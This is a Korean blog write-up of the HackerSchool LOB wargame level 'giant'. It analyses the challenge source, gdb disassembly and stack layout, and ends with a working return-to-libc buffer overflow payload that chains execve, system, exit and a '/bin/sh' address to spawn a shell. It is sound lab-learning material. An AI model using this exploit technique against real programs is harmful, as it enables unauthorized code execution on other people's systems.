본문 바로가기

WarGame/HackerSchool_LOB

HackerSchool LOB Level14

소스를 살펴본다

우선, 새로운 함수들이 많이 나와서 함수부터 정리해보자



함수들에 관해서 너무 잘 설명되어 있는 곳이 있어서 링크를 걸어둔다.

popen

http://forum.falinux.com/zbxe/index.php?document_srl=419978&mid=C_LIB


fgets

http://itguru.tistory.com/38


sscanf

http://itguru.tistory.com/67



        // gain address of execve
        fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
        fgets(buffer, 255, fp);
        sscanf(buffer, "(%x)", &lib_addr);
        fclose(fp);

        fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
        fgets(buffer, 255, fp);
        sscanf(buffer, "%x", &execve_offset);
        fclose(fp);


소스를 이해하기 위해서 시스템명령어들도 좀 알아야 할 것이다.


/usr/bin/ldd

라이브러리 의존성 보기


/usr/bin/nm

심볼파일에서

심볼값, 심볼타입, 심볼이름을 알 수 있다.




/bin/awk '{print $4}'

패턴처리언어

https://www.linux.co.kr/home2/board/subbs/board.php?bo_table=lecture&wr_id=1242&sca=1&page=7



소스에 있는대로 실행을 해 보았다.


아마 권한이 없어서 없다고 나오는 것 같다;;



일단 /usr/bin/ldd 를 현재 폴더에 giant로 한번 실행해 보았다.

흠??

일단 여기서 4번째 항목을 가져오므로, 주소가 될 것이다.

결론은, /home/giant/assassin 에서 libc 라이브러리가 들어있는 so파일의 주소를 가져오는 듯 하다.



/usr/bin/nm 도 실행해 보았다.

두번째 명령어를 앞에만 실행하면 이렇게 무수히 많이 출력이 되고,

grep으로 __execve 만 잡으면 저렇게 __execve함수만 검색되어 보이고,

awk로 첫번째 항목만 출력하므로 주소만 딱 출력이 되게 된다.


so파일이 뭔지 찾아봤더니

리눅스에서 사용하는 동적 라이브러리로, 윈도우에서의 dll 같은 것이다.

컴파일이 아닌, 런타임시에 호출될 코드가 결정되고, 로드된다.

따라서 이 소스에서는 공유라이브러리에서 __execve 함수의 주소를 가져온다. 주소라기 보단, 오프셋을 가져온다.


결국, 앞에서 가져온 so파일의 주소와, 두번째의 __execve의 오프셋을 더하면 __execve의 주소가 된다.


        execve_addr = lib_addr + (int)execve_offset;
        // end

        memcpy(&ret, &(argv[1][44]), 4);
        if(ret != execve_addr)
        {
                printf("You must use execve!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);



ret에 arg[1]의 45번째 인덱스부터 4바이트를 복사하고,

앞에서 구한 __execve주소와 같아야만 넘어간다.

결국, __execve주소를 찾아서 리턴주소에 덮어씌우면

strcpy가 실행이 되는 것이다.


일단 주소는 execve_addr = lib_addr + (int)execve_offset;

0x40018000 + 0x00091d48 = 0x400A9D48 가 된다.

gdb에서 확인해보니 주소는 같다



그럼 리턴주소에 저걸로 넣으면 실행이 된다?

./giant `python -c 'print "\x90"*44+"\x48\x9d\x0a\x40"'`

제길 안된다. 왜안되지?

근데 하나는 건졌다.

giant로 실행하면 /home/giant/assassin  파일이 없다는 말이 안나온다

권한이 있어서 실행이 되는 것 같다.

그럼 gdb로 디버깅 못하는거 아닌가?



일단 gdb로 디버깅해보자


0x8048560 <main>:    push   %ebp
0x8048561 <main+1>:    mov    %esp,%ebp
0x8048563 <main+3>:    sub    $0x3c,%esp //스택에 60 만큼을 할당한다 (buf(40)+포인터변수5개(4*5=20))
0x8048566 <main+6>:    cmpl   $0x1,0x8(%ebp)
0x804856a <main+10>:    jg     0x8048583 <main+35>
0x804856c <main+12>:    push   $0x8048700
0x8048571 <main+17>:    call   0x8048444 <printf>
0x8048576 <main+22>:    add    $0x4,%esp
0x8048579 <main+25>:    push   $0x0
0x804857b <main+27>:    call   0x8048474 <exit>
0x8048580 <main+32>:    add    $0x4,%esp
0x8048583 <main+35>:    push   $0x804870c
0x8048588 <main+40>:    push   $0x8048720
0x804858d <main+45>:    call   0x8048404 <popen>
0x8048592 <main+50>:    add    $0x8,%esp
0x8048595 <main+53>:    mov    %eax,%eax
0x8048597 <main+55>:    mov    %eax,0xffffffd4(%ebp)
0x804859a <main+58>:    mov    0xffffffd4(%ebp),%eax
0x804859d <main+61>:    push   %eax
0x804859e <main+62>:    push   $0xff
0x80485a3 <main+67>:    lea    0xffffffd8(%ebp),%eax
0x80485a6 <main+70>:    push   %eax
0x80485a7 <main+71>:    call   0x8048424 <fgets>
0x80485ac <main+76>:    add    $0xc,%esp
0x80485af <main+79>:    lea    0xffffffd0(%ebp),%eax
0x80485b2 <main+82>:    push   %eax
0x80485b3 <main+83>:    push   $0x804876b
0x80485b8 <main+88>:    lea    0xffffffd8(%ebp),%eax
0x80485bb <main+91>:    push   %eax
0x80485bc <main+92>:    call   0x8048484 <sscanf>
0x80485c1 <main+97>:    add    $0xc,%esp
0x80485c4 <main+100>:    mov    0xffffffd4(%ebp),%eax
0x80485c7 <main+103>:    push   %eax
0x80485c8 <main+104>:    call   0x8048464 <fclose>
0x80485cd <main+109>:    add    $0x4,%esp
0x80485d0 <main+112>:    push   $0x804870c
0x80485d5 <main+117>:    push   $0x8048780
0x80485da <main+122>:    call   0x8048404 <popen>
0x80485df <main+127>:    add    $0x8,%esp
0x80485e2 <main+130>:    mov    %eax,%eax
0x80485e4 <main+132>:    mov    %eax,0xffffffd4(%ebp)
0x80485e7 <main+135>:    mov    0xffffffd4(%ebp),%eax
0x80485ea <main+138>:    push   %eax
0x80485eb <main+139>:    push   $0xff
---Type <return> to continue, or q <return> to quit---
0x80485f0 <main+144>:    lea    0xffffffd8(%ebp),%eax
0x80485f3 <main+147>:    push   %eax
0x80485f4 <main+148>:    call   0x8048424 <fgets>
0x80485f9 <main+153>:    add    $0xc,%esp
0x80485fc <main+156>:    lea    0xffffffcc(%ebp),%eax
0x80485ff <main+159>:    push   %eax
0x8048600 <main+160>:    push   $0x80487c8
0x8048605 <main+165>:    lea    0xffffffd8(%ebp),%eax
0x8048608 <main+168>:    push   %eax
0x8048609 <main+169>:    call   0x8048484 <sscanf>
0x804860e <main+174>:    add    $0xc,%esp
0x8048611 <main+177>:    mov    0xffffffd4(%ebp),%eax
0x8048614 <main+180>:    push   %eax
0x8048615 <main+181>:    call   0x8048464 <fclose>
0x804861a <main+186>:    add    $0x4,%esp
0x804861d <main+189>:    mov    0xffffffd0(%ebp),%eax
0x8048620 <main+192>:    mov    0xffffffcc(%ebp),%edx
0x8048623 <main+195>:    lea    (%edx,%eax,1),%ecx
0x8048626 <main+198>:    mov    %ecx,0xffffffc8(%ebp)
0x8048629 <main+201>:    push   $0x4
0x804862b <main+203>:    mov    0xc(%ebp),%eax
0x804862e <main+206>:    add    $0x4,%eax
0x8048631 <main+209>:    mov    (%eax),%edx
0x8048633 <main+211>:    add    $0x2c,%edx
0x8048636 <main+214>:    push   %edx
0x8048637 <main+215>:    lea    0xffffffc4(%ebp),%eax
0x804863a <main+218>:    push   %eax
0x804863b <main+219>:    call   0x8048454 <memcpy>
0x8048640 <main+224>:    add    $0xc,%esp
0x8048643 <main+227>:    mov    0xffffffc4(%ebp),%eax
0x8048646 <main+230>:    cmp    0xffffffc8(%ebp),%eax
0x8048649 <main+233>:    je     0x8048662 <main+258>
0x804864b <main+235>:    push   $0x80487cb
0x8048650 <main+240>:    call   0x8048444 <printf>
0x8048655 <main+245>:    add    $0x4,%esp
0x8048658 <main+248>:    push   $0x0
0x804865a <main+250>:    call   0x8048474 <exit>
0x804865f <main+255>:    add    $0x4,%esp
0x8048662 <main+258>:    mov    0xc(%ebp),%eax
0x8048665 <main+261>:    add    $0x4,%eax
0x8048668 <main+264>:    mov    (%eax),%edx
0x804866a <main+266>:    push   %edx
0x804866b <main+267>:    lea    0xffffffd8(%ebp),%eax
0x804866e <main+270>:    push   %eax
0x804866f <main+271>:    call   0x8048494 <strcpy>
---Type <return> to continue, or q <return> to quit---
0x8048674 <main+276>:    add    $0x8,%esp
0x8048677 <main+279>:    lea    0xffffffd8(%ebp),%eax
0x804867a <main+282>:    push   %eax
0x804867b <main+283>:    push   $0x80487e1
0x8048680 <main+288>:    call   0x8048444 <printf>
0x8048685 <main+293>:    add    $0x8,%esp
0x8048688 <main+296>:    leave 
0x8048689 <main+297>:    ret   



main+230 에 브레이크를 걸고 레지스터를 확인해보니

일단 eax는 아까 찾은 주소와 같다.


그럼 스택을 확인해보자

<main+227> 에서 $ebp-0x3c (0x3c=60) 가 eax가 들어간다. 잘 들어갔다.

그럼 이제 $ebp-0x40 (0x40=64) 과 비교한다.

근데 왜 여기에 0x4가 들어있지?


스택을 다시 정리해보자

60바이트만큼 할당하고,

첫 4바이트는 0x40009d48 (변수 fp)

다음 4바이트는 0x080da023 (변수 lib_addr)

다음 4바이트는 0x000091d48 (변수 execve_offset)

다음4바이트는 0x080482db (변수 execve_addr)

다음4바이트는 0x08049908 (변수 ret)



젠장

이렇게 하니까 세그먼트 폴트가 뜬다

'python -c ' 어쩌구  '` 를 "  " 이걸로 감싸니까 된다;;;



시작해본다.



__execve : 0x400a9d48

system : 0x40058ae0
exit : 0x400391e0
&/bin/sh : 0x400fbff9



NOP*44 + &execve[4] + &system[4] + $exit[4] + &bin/sh[4]


./giant "`python -c 'print "\x90"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"'`"











'WarGame > HackerSchool_LOB' 카테고리의 다른 글

HackerSchool LOB Level16  (0) 2014.08.23
HackerSchool LOB Level15  (0) 2014.08.23
HackerSchool LOB Level13  (0) 2014.08.15
HackerSchool LOB Level12  (0) 2014.07.31
HackerSchool LOB Level11  (0) 2014.07.31